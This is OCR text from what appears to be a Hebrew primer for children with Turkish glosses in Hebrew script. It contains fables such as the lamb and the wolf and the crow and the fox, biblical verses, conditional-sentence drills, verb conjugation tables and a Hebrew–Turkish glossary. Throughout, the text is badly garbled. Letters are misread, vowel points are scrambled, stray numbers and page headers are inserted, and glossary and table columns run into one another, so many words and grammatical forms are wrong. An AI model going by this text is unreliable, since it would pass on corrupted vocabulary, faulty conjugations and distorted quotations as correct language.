רבּבּי: אוגוכהא גונאחלרימיזי. איקראר. אידייר איז., וא. סגא סיניק קלבלי
לדיפ , ביזא מרחמת איד וא בּיזי בוראקמא .
השֶה ְחַזּאָב .
בּיוום קיץ חַם שֶָה אֶחָד בָּא אֶל הנָּחַל לשב צְמָאו מִמְנוּ , ווְאָב רָעָב
אֶשָר התְהלך כ וכה סביבות הנחל ראה את הַשָה ניאמר לו בָּחָרן אף :
לָמָה וָה תֶרְפט אֶת מימי כְּשְפָתִיף הַטְמָאוּת + בְּמוָת אַתָּה על זאת ובַרָנַע
אַפשִיט אֶת עור מעליך , ויאמר לו" הַשָה: חִנֶם חָרָה אָף אֶדונִי בְעָבְדי.
הגה הַנְחַל גוזל מִפָו וְאֶלי וני רוק מִבְּבודו כְּמְאָה אַמָה. ואי אוּכל
לְרפם לו אֶת הַמָים !
203 לרגל'" הילרים
מארץ מצרים באתות ובמיפתים וביד חוקה ובזרוע נמויה , ויתגם יהוה
ביר אויביהם וישלוּם ויבזו את חילם ויוליכום בשבי+ ובארץ אויביהם שבו
אל יהוה בכק.לבם ויתודו את עונם 'ואת עון אבותם וייטיבו את דרכם
ויהוה שב מחרון אפר ןשב וירחמם ויפן אליהם לטען בריתו את אברהם
יצחק ויעקכ . אלהי ! ממשפטיך לא סרתי כי אתה הוּרֶהְנִי. הוּרָנִי יהוה דרך
הקיך . כני ישראל הלכו במדבר ארבעים שנה ויהוה חורה אתהם את
הדרךף אשר ילכו בה:.
בא ייר אגזיני אצמיש אולאיידי וא ביזי דא קרח גיבי וא אנ
ג'מעתי גיב יוטמיש -אולאיידי ! כשכא אללהי:: אטשי בּו. יראמורריל
אוזרינא דושטיש אולאיידי: אגר בו וראמזלר כני אורמאנדא יאלינבין
בולמיש אולסא אידילר אנלר סני אזלדורור אידילר . אגר פיז בו יראמו
דושמאנלריג אלינא דושמיש -אולאיידיק אָנלר ביזים אוזרימיזרן טרימיזי
סידיריר 'אידילר . אגר 5ו פוקראלר יאשליקלרינדא חיזמת אידמייא וא
צאלישמאיא (עמל) סבמיש אולאיידילר אחתייארליק גונלרינדא אכמנא
מותתאג' אולמאז אידילר . אללה פאדשאהימיזי סבמזסא אידי אני אניג
ג'אניני אלמאיא איסטיינקריג אלינדן חלאס אידמז -אירי . סן אורוגיני
אוגרנממיש אולאייריג מועללימיניג גהונדא כור אולור אידיג . בו קיזלר
עלם אוגרנממיש וא דיכמייא וא מוקומאיא בילממיש אולאיידילר אנלר הר
אנלרי גלרנלריג <גוזלרינדא שירינליב \ בולמאז. אידילר . אללה. ביזים
יארדימימיז אולממיש אוקאיידי דושמאנלרימיז ביזי רירידירי יוטאר אידילר
היי גירי, בן יצחק גיבי זנגין אולסא אידים ! אללה ויראיידי בן בּבּאם גיבי
עלם אוגרנאיידים: אללה ויראיודי בן דא ביוכ'קרדשים גיבי:ג'בּבארלר
אולומי (אילן) אולאיידים? קרדשלרים פוגון בגא פהאלי כּתאכלר גטיר-
דילר, -- בּבאם! בגא חצאן ייני ג'וכא גטוריר סין + צוק באל זימָאיאָסין,
כ יידיגיגי קוסמאואסין . בּיוים פאדשאהימיז דוגרישרעתצי דיר או בּיר
כּימסְאיא חמר אידמז. קיזים: גוולרי קאלריר וא אללחיג. גוּכרבי
עלאמתלריני גור . סיזא בו ביופ יבאנדא גזג'כ יולוגוזי כּים גוסטורור:
נהוּרֶה) . ירושלם בגלרי: עשר) דוגרו שרעת שרעת אידמו אידילר וא
זנגינלרא וא בּיוכלרא חטר אידר אידילר וא אוכסוזיג וא טולוג שרעתיני
קאייריר אידילר,: אונלנלרים ! שרעתי קינגיר אירמניז (קאיירמאני) זירא
שרעת אללהיג דיר. הר כים בי פארשאהא אל. קאלריריר: *איפא) אוק
אולן אורולסין (ירה , פקור קל \ועתיר נפעל) ,
אוגלום! יראמזלר. אילן גזמא כּי סני אזנירמאיאלר: וא אנלריג
לרגל הילדים 23
תִירָאוּ אָמַר יְהוָה. יָתָן הזה אֶת. אובי נגְפִים לָפָנִי בְּרָרד אֶחָד יִצְאו
אדָיה וְבשְבְטָה דְרָכִים נוסו לְפָנִיךָ. יג הוה נף לפני אוביה ברָרך
- תּצָא אֶליו | בְשַבְעָה דִרָכִים תָּנוּם לפָגִיו . מְרְשָעִים יְצָא רְשל. מִצַוּן
תָצָא. תורֶה וּרָבַר יְהוָה מִירוּטָלֶם . הי בְּבא ַלְבָנוּ ָּשוּבו מָהָבּות אֶת
אוביו ותְצָאנָה כָּלַַנָשים אש בְּעירנוּ קְרְאתו בְּשִירִים וַּתִפִּים.. ויאכר
הוה אֶל משֶה נְטָה אֶת ד על השמים ויהי כָּרֶ בָּכָל ל: אָרֶץ מִצְרִיִם על
הָאָרֶם וְעַל הַבְּתָמָה ועל כל עָשָב הַשָרָה בְּאֶרֶץ מצרִים . ויש-משה את
יָדָהוּ על השמים וְּהוְהנָתַן | קלוה בְרֶד וחהלך (= וַתִּהָלַךְ+ אש אַרְצָה
וַיָממַר יְהוָה רד ער אָרִיץ מצתים: גי הברד בבל ארץ מצרים אֶת ָּל
אֶשָר בַּשָרָה מָאֶדֶם עד בְּהָמָה וְאֶת בָּל"עשב הַשָדָה חַבָּה הַבּרֶר תבר
טץ הַשָרָה שַבָּר בנ ! : הט אנ לדְבְרִידפי . אל תונו אֶת הַגָר ְאַל תטו
משְפּט אַלְכָ מְנָה.. אָרוּרִים כָּל לְְחִי שחר ובל מו משָפֶּט. מִי לא יירְאך
ְהוָה אש ְּבוּדֶּ מְלָא ָּל הארֶץ הַאַתָּה הָאִיש אש בָּאת מַחָבְרון +
יען לא, הִַיחֶם אֶת אכ ַעְצְתִי ולא הָאָמַנְתֶם לי לָכן\ בַּאֶה עְלִיכס
ַעָרה הזְאת. לְמָה תִהְנַשָא עָלִי ז כָּמוךָ כּמני גָרִים אַנחנוּ על הָאֶרִיזְהזאת .
האיש הַזֶה שְחָט היוס עגִלֶה בְּרִיאָה מָאד ות מדמה על בִגָּהיד.,
אנכי יהוה אלהיך אשר. הוצאחיף מארץ מצרים מבית. עבדים .
השפחה הזאת. גטתה ידה על אחותי ותאמר להפוְתה נפש . - חנה אנכי
מבה במטה אשר בירי על המים אשר ביאור נהפכו לדם . בּני: שאנא
עיניך וראה את הככבים הזורחים בִּיִפּיִם על פני השמים! הם מספרים
כבוד אל. באחרית הימים כל העמים ידעו את יהוה צבאות והיח שלום בארץ
לא ישא גוי אל גוי חרב ולא ילמרו עוד מלחמה . אל תיראיי, בתי, כל אשר
תאמרי אעשה לךָ . האחיכם יבאו למלחמה ואתם תשבו. פה: ויאמר
אברהם אל נעריו שבולכס פה עם החמור ואגי : והנער: ניצהק): נָלְכָה עד
כּה ונשתחוה ונשובה אליכס , א נא אל המשתה אשר אעשה מַהרגס את
גם אשתך .. תלמידי: התוכלו לשאת את הארון הזה המלא ספרים, בי
כבר הוא מאד: לא אוכל לבדי לשאת את התבה הזאת כי כבדה היא
ממני . יצאנו בבקר השדה לעש ות מלאכתנו תחתש שם כל היום ער
צאת הככבים . דבָרי אשר יצא מפי לא ישוב אלי ריקפ + רשעים רכים
סבוני ,ויאמרו. להבותני נפש.. חצילני מיד רשעים סכבוני ויכקשו את
נפשי לקחתה .. אחי+ השמר לף. פן הרשעים האלה יסכוף בדרך וכוה
נפש . בּני ישראל בהיותם על ארמתם שְכְחו את יהוה אלהיהם המוציאם
וחלק ראשון) .35
259 לרגל הילדים
ִיָרֶם הָעם עם משה ויאמרו ולו נוְענוּ בגוע שק" אחינ לְפני יִהוָה;
וְלָמָה הַבָאתֶם את"קְהַל יְהוָה אל הַמִרִבָּר הַזָה לְמוּת שם אי ובעירנו !
ּלְמָה | עליתַנוּ ממצרים לְהַבִיא אתְנו אל המקום הֶרֶע הזה לא מקום רע
וּתִאָנָה ונפן ורמז וּמִם אין לְשתות ? - לו מַתְנוּ בִּפָרֶץ מִצְרִיִם או במַרבָר
הוה לוּ מתנו ! לו חַיָה רָעָה אַעבִּיר בְּאָרָ רֶץ ושַבּלְחָהּ התה שממה מבְלִי
עבר כפני הַחיה . לו הַכְמוּ יִשְבִילוּ 6 בינ לְאַחַרִיתֶם לו הקשַבְתָ
לְמְצְותִי והי כּגָהַר שָלומֶף לו חָפּץ יהוה המ יתָנוּ לא לקח מִירָנוּ עלה
מִנָחָה . לוּלי תוּרְתָך ש 8 אז אָבַדְתי בעניי יש חִרְשַתֶּם לקי
בי עתה, ריק ם שלְחַתָנ" 1. הוה 4 מעשיף וחסיכיה וכה
(= יברכוף). יודוך יְהוָה בָּל כַלְכִי אֶרֶץ . הודו לִיהוָה כִּי טוב כִּי י לעוֶם
חַכְרוּ. הוה הְתְאַנּף בִּשֶרמה כִּי נָטָה לְבָבוּ מַעם יְהוָה אַלקי ישְרָאֶל
הראה אָלִיו פּעמִיס . -- יען קַרָאתִי וַתְמָאָנוּ. נָטִיתי ידי וְאִין מקשיב ;
והפרְעו כָּל עְצָתו ותובחתי לא אִבִיתֶם ; גּם אְִכִי בְּאִידכֶם אֶשְתַק, אֶלְעג
בְּבא פחְרְכֶם . אָנְבִי עְשִיתי ארץ ואדֶם ; ליה ְּרְאתִי אָני ידי נ 4 שמים
וכל צַבְאָם צויתי., בני שמואל לא הלבו בֶּרְבִי אִבִיהֶם וטו אחְרִי הבּצַע
וקה + שחר ויו כְשְפָּט . אָרור כַטה מִשָפַטנָר יָחום וְאַלְמִנָה . שְאת פני
רשע לא מוב לְהַטות צִדּיק בְּמִשפָט . אַל תִּמֶּנַע מנְער מוסר כִי תַבָּנוּ
בַּשָבֶם לא יָמות; אַתָּה בשבט בנ ונפשו משאול תַּצִיל . כִּי מָאָסוּ אֶת
תורָת יְהוָה צִבָאות וְאֶת אַמְרַת קדוש ישְרְאֶל נאָצוּ, על כַּן חָרָה אַף יְהוָה
בעמו יט יָרו עליו יכהו רגו הר בְּבָל"זאת יב אפ ועוד יָדו
טוה . : הנְפָה אָלהִים לבא לקחת קו. גוי מַפּרָב גוי: בת בְּאתות
ּבְמוַפְתִים וּבְמִלְחָמָה וּבִיָד חַזקה ובְזָרוע גְטויָה וּבְמורְאִים דולִים ָּבָל אֶשֶר
שה לְָכֶם יְהוָה | אֶלְהִיכֶם בְּמַצְריִם + -- יְהוָה הפיר עָצַת גיָם. הֶנִיא משבות
עמים ; עצת הוה רְעולֶם תעמר מחשבות לבו לרור ודור?
אל תֶּשאוּ פּנִים בַּמַשפָּט כּקטן כַנְרול בְּעְשִיר כְּעַנִי תַשְפּטוּן כִי
הַמשַפֶט לאלהים הוא . ירָא אֶת יהוה, בי ,ול , יראו אֶת יהוה קרושיו.
שאו שעְרִים רַָאשיכֶם וְהַנִּשָאו פַתְחִי עלס ויבא מק הַבְּבור. מי תוא יָה
מַלַך הבָּבור + יְהוָה צַבָאות הוא ל הְָבורי. אֶלִיף יְהָה נפשי אֶשָא
אל בָּמַהְתִי אַל אבשה . אשא עיני. אֶל הַהָרִים, מְאִין יבא עזרי
עור מעם יְהוָה עשָה שמים ארי + מוב. לנַבֶר כִּי. ישָא על בַּנְעורִיו .
הושיעֶה אֶת עמף וּבְרְך אֶת - ורְעם ונשָאם ער הָעּלֶס . בָּאלְהִים
בּמַהתי לא אִיָדָא בְּצַל כְָפְיו אֶחֶסָה, מה יָעַשָה לִי אָרֶם הַאותִי לא
אל (וְנְאֶל) קורטאררי, חלאם
איולארי , אחצא אילן
(ייסירי) אזזאט איילרי ,
ְאֶל | יאקין כיססים ,
וע (וגוע) אולדו . עגיל סי ,
: עדתרן דישרי אולרו ,
דב (סלט בינוני = ומקור)
= סוולדי .
חטף (וחטף)קאפרי. סִרְמָרִי.
חָרש (וחרש) סבאן סוררו,
חָרָש רְעָה בְּלְפו,
קלבינדא פנאליק דושונדי.
לָעג (ילעַב) זווְקלנדי, מזאיא
: אלרי (מזב נא אלדי) .
נא (נאֶץ) כור איטדי
נְאֶץ \ כור איטדי .
פָקר סאגינדי . פקד עון
אבות .על בָּנִם .
בּבאלריג נונאחי איצון
אוולדלרא - ג'זא = וירדי
(אוולדלריג חקקינדן נלרי).
פרע (יָפֶרְע) בוזדי, | דפע
איטרי . באשסיז איטדי
פֶּרַעַ מוּסר , אוגוטי ,
אֶרֶבּ , בוזדי, אונוט דן
נרי דונדי .
פּשט (ִפַשט)
הפשיט ןּ צזדירדי .
סידירדי (טרי) .
רֶנִז רגו דִיטְרְרִי .
רְפַס (יִרְפּהַ) בולאנדירדי
(סויי) .
שחק (ישחק) גולדי .
סְבינדי .
סָחִב (יִסְחַכ) סורבּדי .
צר
לרנל הילרים
אוד 2) ז' בחטסיןליק ,
אות רב' אותות)ז'. נישאן
עג'ייב
בער פָ) 7 - טוואר .
בר , ז', בורצאק .
גָר (01 ז', גריב, יבאנגיי .
גיירי ממלבתלי.
אֶחְרִית 2): אַחֶךְ, סוג',
| אחרת ,
שעְשועִים (1 סלט רבים) ,
ספא, אכלנג'א, אויונג'אק..
בּצַע (עתץ ב') ז', פיירא
| הראם מאל .
שחר , זי שחד + הָמין .
חָרון (1) קהר, עצוב .
אף (אִפֶי) קהר: חָרון אף,
עצוב , קהר .
מוָרא (מורְאִי מוּראָכֶם) ,
כורקו . -
מוּפַת (3 ב ד*, נישאןי
עלאמית, עג'ייב .
מַפָּה (םא1) ל ., | סינוב,
תגיריבה .
נַחַל נִנְחָלִים נְחָלִי) זי אוזן :
דא +
קהל (ז. סלט יחיר) קהל ,
ג'מעת .
צַמָא (צִמָאו) ז., סוסיזליק .
/ שבר צמאו , סוסיזליגיני
קאנדיררי .
רְנָע עד ב') דקיקה י כְּרְַע,
שו דקיקה טי, ביר. ג
יומופ' אצינג'א קרר .
שה (שיו שיחו) *, קוו .
271
חי (שצ) ג' כייכ , בייב
ג'אנוואר .
חטָאת (ל' חַטָאם ה
הטָאות , חטאתי)
נונאח, קבּתת .>
עָנְלָה 31 ג') נ'. רושי
בוזאב .
שמְמָה (זא) נ', ויראנליק.
תּלונָה (שצ)נ'. שיכאיית ,
תוכחת , (נצא) נ' אונוט ,
תאזיר ,
סָבִיב , אטרפליין , צוורליי ן
מִּפְּבִיב , הר טראפרן
/ סביבים, סביבות ,
האהל, צאריריב אטראפ-
לרינרא,
שן , אניג איצון כּי; צונכי .
כִּי , אָגַר; צונכּי .
רק , סאלט.
כּה , בוולא ; אוראיא - עך
כּה , אוראיא קדר . כָּה
(כה , או טראפא וא בּו
טראפא .
ריקם , בושליין + בוש אֶל
אילן .
מָעֶם , אגיירן + מָעם אָבִי,
בּבאמיג. יאנינדן 2
שִבָּל , טוב איטדי (בּיריניג
תכמיל אוולרלריני
אולדוררי); בוש איטרי
(כי אדם קלמארי) .
אהה | ואח - הם ! פוס י
270
לרגל הילרים
הפעיל . העבר - הַבִיא, הַבִיפָה; הָבִיאותָ יי הָבַאתָ אי הָבָאתָ) הַבִיאות
אוה הכאת) הביא הַבִיאוְתֶם ואו הַבאתם) הביאונו ,
יאו הבאנן או הָבִיאנו) .
העתיר
הצווי .
הפעל, העבר . הובא
קל. סב
- יָבִיא; תָבְיאִי ;
הַבָא + הַבְיאו;
הבינוני . מביא , מְִבִיאָה; מְַבְיאִים, מביאות 2
המקור + הָבָא י הָבִּיא ; בְּחָבִּיא; כּהָבִיא , לְחָבִיא .
, הוְבְאה הבא ),
העתוד .> יִוְבָא , תובא ; הנגוני,
₪ הָבִיאִי, הַבְאנה +
\ שבי ; סבו: סַבָּהּ, סבף , סב וב
סַבָּה; סַבַּחְנִי; סַבַּתהו א סַבַּתוּ:, סַבַּתְךָ כ" .
סבו ; סבונִי, סבוך, סבוהו, סַבּוְתָ וי .
יָסב, יסְבְנִי; יסְבְך, יסכך ; יבנ
> יסְבנן וכו
יסבו: יְבָּנִי; יסְבוּךּ; יסַבוּהו, יסוס וכו' .
הפעיל . הסב ; הֶסְבּנִי או הַסְבֶּן
יס . חר
יסב; סְבָנו
נשָא , קאלרירדי , גוטרדי ,
אוכסכ איטרי. נְשָא
פָּנִיִם, הַמֶךְ סאיירי ;
חטר איטרי ,
+ הַתְנְשָא
קאלרירילדי, פודוללנדי,
אנאליק איטהי - .
נשא, הפעל הְשָיא,
אזְגְירְדִי , אלראדי .
נְזָה (יַוָה ויז סיצראדי . חֶזה
סיצראטדי , :
בּּרְכְּרִי, סאצרי .
נטָה , כונרי : נְשָה יֶר,
אלי טיכלרי , טיכ אוילרי,
נְמָה אהָל ,| צאדיר
וש במ
וירדי, קאיירילדי הטה ,
קאייררי .
סרְפָרי ,
נשה , אונוטדי; בורג'א
וירדי . השא , כורג'א
ויררי ,
ָרָא , את פי . מִפָנִי
מפי קורקדי .
יָפָה (עתי יפה וייף) דילבָּר
אולרו ,
יָרָה (וורה) אטדי , בוראקדי
ירה חץ , אוק אטדי ,
נורָה (עַת יירֶה--יוָרה)
אוק אילן אורולרי הוּרָה ,
אטדי , אוק אטדי..
אָבָה (יאבָה) ,. איסטדי .
בא, גלרי י הַביא, נטיררי י
תָבִיאוּ; תָּבָאנָה או תְּבִיאִינָה) ,
הוּבָאת , הוּכאו וכו .
מוּבָא , מוּבָאים וכו .
ני; הַסְבְּ אי חסְבְּ, הַסְבּו או הסבהו וכו.
> יסב ; יסְבָנו ; יְבָנוּ ומי".
הִבָּה (נִכה) אורדו ,ד הִכָּה
נפש , ג'אנא אורדו *
אולדורדי. אדם אולדורדי.
המָה אֶת אֶחִי נפש ,
קרדשימי אורופ אולדורדי.
חורה (וךה) מדה איטרי .
שוברליכ וירדי . הַתוּדָּה,
איקראר איטדי . =
הונָה (ונה) קיינאדי .
הרה (ירה) אוגרטריהורָה
ררף. יול אגרטדי , יול
גפטוררי מוְרָה, אוגרטיג'יי
מועללים : יול נוסטורוג'י .
הניא (נואָ) אלי קודו .
טוכטאטדי.
הקיא (קיא או קוא) קוסדי .
אנף (יְאנֶף) בּפי , קהרלנדי .
לרגל הילדים
(נחו פיא יוד ונחי למיד א
שאב
קל העבר. יָצָא , יַצְאָה ו יָצָאת , יָצָאת ; יָצָאוּ, יָבָאתֶם =" י
העהיר . ַא , תְצָא, אי ; יָצָאו, תְצָאנָה ; נָצָא .
הצווי . צָא, צְאִי; צָאוּ, צְאִינָה; בינגי. יצָא, יִצָאת וכ'.
המקור . יא" צַאת , בִּצָאת, לְצָאת .
הפ עיל . העבר . הוצִיא , הוצִיאָה ; הוצָאתָ, הוצאת, הוצאתם .
העתיר . יוְצִיא, תוצָאנָה ; הצווי. הוצָא, הוצִיאִי , הוצָאנָה .
בינוני . מוְצִיא', מוצִיאָה, מקיר. הוצָא, הציא
הפעל. העבר . הוּצָא , העתיר . יוּצָא ; הבינוני. מוּצָא .
ירא .
קל . העבר. יָרָא, יָרְאָה; יָרָאתָ, יָרָאת , יָרְאוּ, יָרָאתֶם וכו"
העתיר. יִירָא , תִירָא, תִירְאִי, תִירָאוּ. תִּירָאנָה ,
הצוווי . יִרָא, יראו; - . ְדָא, ְרְאָה . יראִים וכו :.
המקור. יָרַא פִרַאָה , לְיְרָאָה) + = =
נפעל . העבר - נְרָא , וראה , נוראת וכ העתיר . ינְרָא , תוְרָא וי .
ביני . נורָא, נוּרְאָה ; נוראים, . י/
ננחי פ"א יויד. ונהי למיד ה"א)
ידה .
הפעיל . העבר - הודָה, העתיר , יוְדֶָה, תודִי; יודוּ, הצווי. הודָה, הודו.
הבינוני. מוְדָה; המקר - הוְדָה או הודות , בַּהודות .
התפעל. העבר : הוה , הְַנְּתָה; הַתְווּ . חשיר. יְתוְדָה, ָתְווּ.
הצווי . הַתְוְדּה 2 הָתוְדִּי הבינוני / מִתְוְדָה, מַתְוַדה -1)
המקור > הַתוְדַה, הָתְודּת , בְּהַתְודת .
חי עייץן וי ונחי למיר א6
בא עבא) .
קל. העבר +' בָּא, בָּאָח ; בָּאתִי; באנוּ; בָּאןּ, בָּאתֶם וכל .
העתיד . יבא | יָבאו; תבאי : תְּבאנָה או תֶא נה ובו'..
הצווי א בא, בְּאִי; בָּאו, בּאִינה , הביגוני, בָּא, בָּאָה וכ"..
המקור. - בא. בְּבַא, בָּבַא / לְבא .
2608 קרגל הילרים
(חסרי הפיא נוין ונחי למיר א)
שא .
ד
-.ר
קל. העבר בָשָא , נָשְאָה, נְשָאתָ, נְשָאת; נָשָאתִי, נשָאתֶם וכו" .
ד
העתיר ישא | תשא ; ישאו כ . (= ישא 0 0 (= תשא תִשָאנָה ₪
הצווי. שא 4% שָא. | ש 0; ג שְָאִינָה 9
בינוני נשא : אָה או נשאת 1 נשְאִים , נשָאות .
נְשוּא , נשאֶה, נשואִים 5 שואות .
. נש - .:
המקור 1, נשא - נסמף שאת או שאת . בְּשָאת, לְשָאֶת .
נפל העבר. כָָא, נְִאֶה נַָאת כַשָאת: לא אנ מי.
העתי ינזא . ג שא , + אנ שא 3 שאו , תנש טָאנָה :
הצווי. הֶנָשָא , הנאי י תשאו, הַנִשָאנָה.
ויוררי -
וני נָשָא. נְשָאֶה ; וכו" המקור , הפשא . בהנשא .
הפעיל. העבר , הַששין
(חסרי הפיא נו"ן ונחי למ"ר ה"א)
נטה.
ד ד
- . - ת
קל . העבר. נמָה, נמְתֶה ; נמִיתָ, נמ ג = יִתֶם-וכר 1
בל
ך
העתיר . ימה ניט, וים) ; ימו; תטו | תִמִנָה וב".
הצווי. נְסָה, נְטִי; נטוּ, נְמִנָה .
-
בינוני. נמָה א נמָה; נמִים יכל נטוי , נָטוּיָה וכי .
המקר . נָמה, נָטות , בָּנְטות , לטות 0
נפעל
= ;
. העבר > נֶסָה, נמְהֶה; נָמִיתָ או ְִיתָ נטו; נְמִיתֶם .
העתור. וְנָמָה תִָמָה; ' עְמוּ, אָנָּמַה; תג נה .
הצווי . הָנָמָה, הַנָטִי + הַנטוּ; המור הַנָמָה, הגטות וכו"
בינוגי. נָמָה, נמָה; נָטִים י נטות .
נכה.,
הפעיל. העבר + הִבָה, הַבַתָה; הִבִּי י הְכִּית; הְכּוּ. הַכִיתֶם וכו
העתיר . יִבָּה - ויך) תִּבָּה, תַכִּי :+ תבוּ, תַבִינָה .
הצווי . הַכָה (הך) . הבי, תות הבינה .
בינוני. מַבָה, מַבָּה ; מכִּים , מכות , המקר הַבָה , הָבּות .
הפע על. העבר . הִכָּה , ה 0 כְּתֶח; הכו או הכ הִבִּיתֶם וכו'.
עתיר. כָּה, ת תִבָּה; יכו וכו" . .בינוני - מבה, מִבָּה 1 4
' , השיא אֶה, השאת וכו" העתיר , ישיא . תשיא ובו' .
לרגל הילו 21
6 12
לן, אַנָר , כָּאשְבִּי כָשְבָא , אללה ויראיידי! היי ידי
לו אחכם כַּמַלְמָדו ו מועללימים גיב חכם אולסא אידים :
לו היה כּחי ככחף | הייגירי : בנים קוותים סניג' קוותיג קדר אולסא אירי!
לו יָדעף אֶת מְקּ הַלַלְתִיךָ , אגר אורוגוני בּילמיש אולורסא איריג סני
מדח .אירר אודום .
לו השבעתני לתם בְרכתִיף.. בּני אכמנא דויורמיש אולאייריג: סגא
דועא ויריר אידים .
לו לְמַדְתִּיחַכְמָה בּנערִיכִּי עַתָ אגר ב יאשליגימדא עלם. אוגרגמיש
טוב לי בְַּקַנְתִי , אולאיירים שימרי אהתייארליגימרא
. בגא איי אולור אירי .
לו שָמעתי בְּקּל אָבִי כִּי תה בּכאמיג סוזינא דינלמיש אולאייריס
לא הָסַרְתִּי לָקָם . שימרי אכמגא מוחתאג' אולמאז אידים.
לו , אַדונִי , שמעני , באלי, בּנים, ריגלא בגא,
לו, יָהִי כרברף , באלי (הא) ,. סניג פוזיג גיבי. אולסון .
לוּלְא , לוּלי (=לו לא) אנר...דניל איסא ; אנר...אולמוסא אידי .
לוּלֶא רצַתִי לא ִפַלְתִי , יובורממיש אולסא אידים דושמז
אורים .
לוּלֶא סְבְלְתי לא הַטָאתִי, ג'אהיל אולמאזסא אירים
גונאחכר אולמאז אירים .
ִּי עְתָּה הַרְגוּנִי. קורטארממיש אולסא אידיג
ּ אנלר בּני אולדורמיש. אידילר.
לוּלי יראת יהוה בְּלְבִּי כִּי תה אגר קלבימרא אללהיג קורקוסו
לא חַמַלְקי עליף : אולמאזסא אידי בן סני אג'ימו
איריס .
2.06 לרגל. הילדים
יא רבבי + ביוא איילינימ (חסד) גוסטור. אנאם: נא איצון יוזוני רווארא
צווירדיג + יוזוגי דווארא צווירמייא סין . תלמידלרים : הר ג אורוניגיזי
אוגרנמייא באשלאיא סיניז. קיוקררשלרים : סיז גנדיניזא איפכ בורונג'יכ
אורמייא באשלאגיז . יילאניג יַמַנִי (לחם) טופראק דיר (= יילאן -- אניל
ימַגִי סופראק דיר). פוקראלררן גוולריגיזי אלרטמייא סיגיז, אנלרא, אגר
אץ איסָאלר . אכמב יידִירָאסיניז וא אגר ציפלאק איסאלר רובא גיידירא
סיגיז . ּיזים בבאלרימיז אנלרי מסררן ציקארן וא אנלרי יבאנדא מן אילן
דויוראן וא גוכדן אמש איצריסינדן אנלרא סֶסיני אשיטטירן רכּבי אללהי
אונוטדילר וא בְּעַל גא עבאדת איטדילר וא באש אורדולר בּיזלר אוולא
דגיל איז, בּיוסלט רבּבייא עבּאדת אידר איז וא אנא באש אוראר איז וא
גיירי אללחלריג אדי ביזים אגזימיודא אשיטילמו . ביז יארין ירושלם גא
גירג'כ איז אללהא אניג עזיז סראיינרא באש אורמאק איצון . בו פנא
צוגיוקלר בבאלריני וא אנאלריני ייגיל (הקל) איטדילר . נא וקתא קדר
פיז בּבאלריגיזי וא אנאלריניזי כור אידג'כ סיגיז (שַקל) ? בו חסטאייג. יוזו
דווארא צווירילמיש דיר. נא איצון בו חסטא חלאייגיג יוזו דווארא :
צווירילדי + סיזא בו באכי בוזמאיא באשלמאיא כּים אמר איטדי ? סיז בו
כתאבי חצאן יאזיפ תכמיל אידג'כ סיניז? בו כתאב חצאן יאזיליפ תבמיל
אולור ? ביזים איפכ ג'ובאלרימיז חצאן דיכליפ תכמיל אולורלר . גְליגִיו
וא אללהימיזא אניג עזיותחתי אוגונדא באש אוראייק. בו קול פאדשאהיג
אומונא גלדי וא באש אורדו . נא סוולָאים, אללהים, וא נאסלי גּמַה)
גנדימי דוגרוייא ציקאראיים + גונאחלרים פּכ צוק דיר.
הָעורֶב וְהשוּעַל .
העורב ח על עץ ובְפִּיו מַעַם בָּשָר אֶשר מְצָא בְּאָשָר הְֶךָ . ירָא
השועל ויחמד אֶת הַבִּשָר וַיִחְלִיק לשונו ויאמר מַתְּחַת הָעץ : מה יפִיתָ
אחי העורב ! מה נָאוָה מראֶך! רבים בַּנִ"כָנָף יָפִי נוצָה וּמְלְאִי חַן וְאַתָּה
עלית על ָּלֶם + השמיעני נא אֶת קולְך ְאַדְעה כִּי גם קולְך לא נפל מיפי
תַארְך בי מלה העופות אֶתָה . ויאמן הַעוְרֶב לְכָל אש דַּבָּר השוּעל
בְּמְַמָה וְְּבהּ לבו בִּתַח פּיו: ויקרא בְּקול נָּדול : קרא! קרא! - ויהי
בּקראו .ויפל הַבְּשֶר מִפיו. וַימְתַר השועל לְבְרְעו ויאמֶר : אין בף מום ,
ועורב , ולא חַסַרְתּ רָבֶר בַּלְתִּי הַשְבָל .
לרגל. הילדים 25
וא אַיִילֶר רַאסֶט. גטירדלר. וא פראלאחילה .וא בּראכרונדא כיר כּימסא
יוק אודי בי אני אנלריג דישלרינדן קורטארא (אני : אנלריג: דישלרינדן
קורטארמאיא) .
בו אוכּסיז, ציפלאק דיר. וא אוזרינדא דון קהרשים וירדיגי: יירטיק
רוּבְּאָהן גיוהי .ביר שיי- יוק דיר + בו סובוק קיש גונלרינדא בו פאקיריג
אבינהא. נא. יימווא: אפמגי נא : איסינמייא: אגאצי ואר (== בו פאקריג
אבינדא נא ימייא אכככ נא איסינמייא אודון לר. יוק דיר) . אי ג'אהיל
כּימסא.: הצאנא. קדר: סן סרתוש גזרסיז ושכרהתפעל ? דוניאיא קדר מי
אוזרינדן שראביג גירמו (יעני אַיינמאז סין)? חאשא בנדן כי בן אללהימרן
גיירו, אללהא. עבאדת. איְהָאיים וא באש אוראוים ! חאשא ביזרן כּי בי
אללהימיזיג אדיני וא אניג עזיז אָביני אנדן בירי אללהלריג קודבנלרי אילן
ויגיל. אידאייפ. חַלָּל) ! בו אוכּסכ דאגיג באשינא כּים-ציקא: בילור. (== טו
אוכּסכ- דא -- אניג באשינא כּים ציקא. ביליר) ?+ בן בו דילבר דירגיג
מויבאסינדן-יימדים (= בו דילבר דירפ -- בן אניג' מייבאסינדן יימדים) .
= ההג שרי ניג אדיני שרי אראמאיא פין (== שח קריג -- אניג אדיני שהי
אדאמאיאי סין)- זירא אניג: אדי שרה דיר,: בוזים שההימיזיג אדמלהי
גיומלסי-יארין ירושלים גא סכה באייראמיני אִירמִייָא גידג'ב דיר לר:,
קרילרדן- וא צוג'וקלררן מאעדא כּי אנלר שהררא קאליר לר .: מועללים
בוגון. תלמידלרי, אורוכלריני בילנלרי וא אורוכלהיני בילמיינלרי בשקנ/א
בשסג'א אוטורגוזדי וא אורוכלריני בילמיינלריג סאייפי אורופלריני וכל
סאייסינדן צוק אולרי (== מועללים בוגון אוטורגיזדי תלמידלרי, אורוכלרוני
בילנלרי 3שקא וא אורוכלריני 0 בשקא וכו). סן סין או רבּכי
אללה כי סניג תחתל נובדא. דיר . = אינסאן אוולדלריני - גורן וא
ּירפיבלרי תנ'ריבא אירן אללה סן 0 (סןסין או אללה כי סניג גוזקריג
גוררלר וא: כּירפיכלריג אינסאן אוולדלריני תג'ריבּא איררלר). סיז סכה
בּאייראמיני ירוּטלים דא מי ו יאלינגיז שהרימיזדא קאלריק וא
או באייראמי אבימיזרא איטדיכ . קיזקרדשלרים ! סיז בּו סנה פסה
